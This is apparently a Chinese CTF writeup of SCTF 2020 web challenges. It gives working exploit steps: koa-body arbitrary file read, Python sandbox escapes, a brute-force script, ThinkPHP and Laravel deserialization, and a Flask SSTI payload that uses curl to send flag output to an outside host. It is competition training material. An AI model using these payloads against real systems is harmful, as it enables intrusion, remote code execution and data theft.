CloudDisk

这题二血

const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const Koa = require('koa');
const Router = require('koa-router');
const koaBody = require('koa-body');
const send = require('koa-send');

const app = new Koa();
const router = new Router();
const SECRET = "?"
app.use(koaBody({
  multipart: true,
  formidable: {
      maxFileSize: 2000 * 1024 * 1024 
  }
}));
router.post('/uploadfile', async (ctx, next) => {
    const file = ctx.request.body.files.file;
    const reader = fs.createReadStream(file.path);
    let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
    let filePath = path.join(__dirname, 'upload/') + fileId
    const upStream = fs.createWriteStream(filePath);
    reader.pipe(upStream)
    return ctx.body = "Upload success ~, your fileId is here:" + fileId;
  });
router.get('/downloadfile/:fileId', async (ctx, next) => {
  let fileId = ctx.params.fileId;
  ctx.attachmentctx.attachment(fileId);
  try {
    await send(ctx, fileId, { root: __dirname + '/upload' });
  }catch(e){
    return ctx.body = "SCTF{no_such_file_~}"
  }
});

router.get('/', async (ctx, next) => {
  ctx.response.type = 'html';
  ctx.response.body = fs.createReadStream('index.html');

});

app.use(router.routes());
app.listen(3333, () => {
  console.log('This server is running at port: 3333')
})

是用koa实现的一个文件上传下载,上传的东西会原模原样下载,尝试任意文件下载失败
看到这里
图片

是用ctx.request.body.files来获取文件的,这是老版本koa的用法,正确的应该是用ctx.request,找到个github issue

https://github.com/dlau/koa-body/issues/75

使用request.body.files会导致用户可控path,那么可以构造json将其指向要读的文件,然后下载的文件就可控了

图片

拿去下载

图片

如果没有该文件会error,先读/proc/self/environ,得知路径为/app,

图片
在/app/flag下找到flag
图片
图片

pysandbox

from flask import Flask, request
app = Flask(__name__)
@app.route('/', methods=["POST"])
def security():
    secret = request.form["cmd"]
    for i in secret:
        if not 42 <= ord(i) <= 122: return "error!"
    exec(secret)
    return "xXXxXXx"
if __name__ == '__main__':
    app.run(host="0.0.0.0")

图片

过滤空格引号小括号等,想执行函数比较困难,可以通过改写flask的静态文件夹来将static目录指向/app
图片
图片

pysandbox2

题目描述必须rce,环境没了这里用的py1的
builtins是python的内建函数的内建命名空间,dir看一下有ord
在这里插入图片描述
将其改写为lambda匿名函数,先覆盖ord,让其返回42-122之间的数即可,确保不会error

__builtins__.ord=lambda*args:45

然后再将路由函数覆盖掉

app.view_functions['security'] = lambda: __import__('os').popen('id').read()

在这里插入图片描述

UnsafeDefenseSystem

进去直接跳转了
在这里插入图片描述
/public/log.txt
图片

/public/test的源码中有注释登陆地址

图片

图片
爆破生日,得到1221

import requests
import base64
username='Admin1964752'

url='http://8.208.102.48/public/nationalsb/login.php'
s=[]
# for i in range(101,132):
#     s.append(i)
# for i in range(201,232):
#     s.append(i)
# for i in range(301,332):
#     s.append(i)
# for i in range(401,432):
#     s.append(i)
# for i in range(501,532):
#     s.append(i)
# for i in range(601,632):
#     s.append(i)
# for i in range(701,732):
#     s.append(i)
# for i in range(801,832):
#     s.append(i)
# for i in range(901,932):
#     s.append(i)
# for i in range(1001,1032):
#     s.append(i)
# for i in range(1101,1132):
#     s.append(i)
for i in range(1201,1232):
    s.append(i)
for i in s:
    password = 'DsaPPPP!@#amspe'
    if i < 1000:
        password=password+'0'
    password=password+str(i)
    data=base64.b64encode((username+':'+password).encode()).decode()
    print(data)
    headers={
        'Authorization':"Basic "+data
    }
    res=requests.get(url,headers=headers)
    print(res.text)
#print(str)

登陆之后提示我们可以查看文件
图片
但是对flag、log等字符做了过滤,/var/www/html/application/index/controller/Index.php读到反序列化代码

<?php
namespace app\index\controller;

class Index extends \think\Controller{
  public function index(){
    $ip = $_SERVER['REMOTE_ADDR'];
    echo "Warning"."<br/>";
    echo "You IP: ".$ip." has been recorded by the National Security Bureau.I will record it to ./log.txt, Please pay attention to your behavior";
    echo '<meta http-equiv="refresh" content="1;url=http://127.0.0.1/public/test">';  
  }
  public function hello(){
    unserialize(base64_decode($_GET['s3cr3tk3y']));
    echo(base64_decode($_GET['s3cr3tk3y']));
  }
}

结合thinkphp5.0.24,应该是反序列化写shell然后文件包含
http://pines404.online/2020/01/20/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/ThinkPHP/ThinkPHP5.0.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E5%88%86%E6%9E%90/

这里还会被拼接上exit(),可用utf7绕(后面看了一下phpinfo开启了短标签所以不能用rot13)
在这里插入图片描述
写上后手打经常not found,所以用条件竞争来包含
图片
再发一次包,vps收到flag
图片
图片

bestlanguage

这题真的可惜
带非预期:
在这里插入图片描述
由于网站是nginx服务,nginx会对路径进行判断,如果../的个数超过了访问的目录层数就会报400
在这里插入图片描述
然而这个非预期很聪明的多加了一层index.php,导致目录穿越

非预期二:
laravel5.5.39
在这里插入图片描述
有个cve
https://github.com/kozmic/laravel-poc-CVE-2018-15133
先phpggc生成命令
在这里插入图片描述
然后.env下拿到Appkey
在这里插入图片描述
生成payload
在这里插入图片描述
写道cookie里发个post请求即可(不过这里github原文说的是发http head请求啊我淦,就差这一小步)
在这里插入图片描述
在这里插入图片描述
预期解:
/upload下的file_put_contents有个trick:如果写入的文件名是xxxxx/. 那么/.会被忽略,会直接写入xxxxx文件

    public function upload()
    {
        if(strpos($_POST["filename"], '../') !== false) die("???");
       file_put_contents("/var/tmp/".md5($_SERVER["REMOTE_ADDR"])."/".$_POST["filename"],base64_decode($_POST["content"]));
        echo "/var/tmp/".md5($_SERVER["REMOTE_ADDR"])."/".$_POST["filename"];
    }

所以这里令filename=.构成=>/var/tmp/md5ip/.=/var/tmp/md5ip
这样就无需ssrf了,不过生成的文件名是md5ip
在这里插入图片描述
/move/log会把文件移动到storage/logs/目录下
在这里插入图片描述
这里可以用?或#来截断,将这个文件放到sessions文件夹下并改名为laravel的sessionid

/move/log/../md5_ip?/../../framework/sessions/sessionid

剩下的就是反序列化了

jsonhub

django80,flask5000,flask需要ssrf访问
/reg的数据json解析然后直接注册
在这里插入图片描述
构造json:

{"username":"wander1","password":"123","is_staff":1,"is_superuser":1,"is_active": 1}

在这里插入图片描述
登陆拿到token
在这里插入图片描述
token是用来ssrf的
在这里插入图片描述
/home路由下有一个白名单判断,要求符合

if url.startswith("http://" + white_list[i] + "/"):

django版本为2.0.7,有url跳转的cve在这里插入图片描述
这里要求以http://39.104.19.182/开头,构造如下即可绕过

http://39.104.19.182/x.x.x.x

/rpc下需要ssrf,然后会将我们传过来的数据request访问,因为这里还有一个web2flask,并且存在ssti
在这里插入图片描述
这里num12不能为字母,symobls需要匹配到其中之一:+\-*/,然后将其拼接传给模板

两种方法,第一是因为这里data处用了get_json()

data = request.get_json()

而是支持unicode的所以可以用unicode绕过

{"num1":"","num2":"","symbols":"{\u007b [].__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval'](\"__import__('os').system('curl phoebe233.cn:1234/`/readflag` ')\")}\u007d"}

第二种是官方wp里提到的flask的get_json()方法会通过传入的body自动判断编码然后解码,那就可以特殊编码如utf16绕

还有一种:https://bycsec.top/2020/07/05/SCTF2020-writeup/
num={,symbols={payload},num2=}

payload构造好后ssrf打127.0.0.1django/rpc,然后让rpc去帮我们向flask请求打ssti

{
    "token": "3ad9af405504233188f694a11ff22115",
    "url": "http://39.104.19.182//127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=eyJudW0xIjoiIiwibnVtMiI6IiIsInN5bWJvbHMiOiJ7XHUwMDdiJzEnLl9fY2xhc3NfXy5tcm8oKVstMV0uX19zdWJjbGFzc2VzX18oKVs2NF0uX19pbml0X18uX19nbG9iYWxzX19bJ19fYnVpbHRpbnNfXyddWydldmFsJ10oXCJfX2ltcG9ydF9fKCdvcycpLnN5c3RlbSgnY3VybCBwaG9lYmUyMzMuY24vYC9yZWFkZmxhZ2AnKVwiKX1cdTAwN2Qi"
}

在这里插入图片描述
在这里插入图片描述

分类: CTF

1 条评论

luoluo · 2020年7月9日 下午12:20

哇,太厉害了吧,带带我!

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*

code